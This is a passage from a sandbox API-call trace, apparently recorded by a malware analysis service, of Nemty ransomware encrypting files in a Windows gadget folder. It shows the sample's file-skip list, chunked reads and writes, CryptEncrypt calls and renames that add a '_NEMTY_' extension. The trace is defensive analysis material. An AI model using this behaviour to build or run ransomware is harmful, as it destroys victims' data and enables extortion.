lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.088] CloseHandle (hObject=0xffffffff) returned 0 [0125.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0125.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0125.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0125.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0125.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0125.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0125.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0125.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0125.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png._nemty_kgobjgd_")) returned 0 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.089] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8426b7d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8426b7d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2=".") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="..") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="...") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="windows") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="$RECYCLE.BIN") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="rsa") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="NTDETECT.COM") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="ntldr") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="MSDOS.SYS") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="IO.SYS") returned -1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="boot.ini") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="boot.ini") returned 1 [0125.089] lstrcmpiW (lpString1="dial_sml.png", lpString2="AUTOEXEC.BAT") returned 1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="ntuser.dat") returned -1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="desktop.ini") returned 1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="CONFIG.SYS") returned 1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="RECYCLER") returned -1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="BOOTSECT.BAK") returned 1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="bootmgr") returned 1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="programdata") returned -1 [0125.090] lstrcmpiW (lpString1="dial_sml.png", lpString2="appdata") returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_sml.png", lpUsedDefaultChar=0x0) returned 12 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_sml.png", lpUsedDefaultChar=0x0) returned 12 [0125.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_sml.png", lpUsedDefaultChar=0x0) returned 12 [0125.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_sml.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_sml.png", lpUsedDefaultChar=0x0) returned 12 [0125.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0125.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.090] Sleep (dwMilliseconds=0x5) [0125.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe3576d0, dwHighDateTime=0x1d561e7)) [0125.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe3576d0, dwHighDateTime=0x1d561e7)) [0125.095] GetLastError () returned 0x5 [0125.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.095] GetLastError () returned 0x5 [0125.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0125.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0125.096] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0125.096] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="sizbWiW3sHarIjaK7aUf4+NSA3T8w4tk1p0t8tjSsJU3iLLo8e0zAoifWGJ+nqPC\r\nyt7XSOTedXLWoSM3NqrLb1fuaOqXHG941Wsk2l5DiUxmYRiEB7fbTIxyhUwk5TA6\r\n/1nyKpo7RR5hA6hjHmkjIdlB3zDhz4GG/DUJjU1iqi7BysCnbNCYqvXAordQNOBS\r\nZpQTz0INUE/72h7c8KFZ0lKSnmrlQV0vQwScrnQW7YFOvOYTktzLROZhb9+3fItz\r\nGgP8t8VqAXbja8KEIg86rfYSD+21zVxoGEBgWUj6d7Xqhj7j6tpcSNTIjFWExDTj\r\nV1yKZ6m1zIDqq7Q+6Rs1aA==\r\n", pcchString=0x653e91c) returned 1 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0125.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.096] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.102] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0125.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 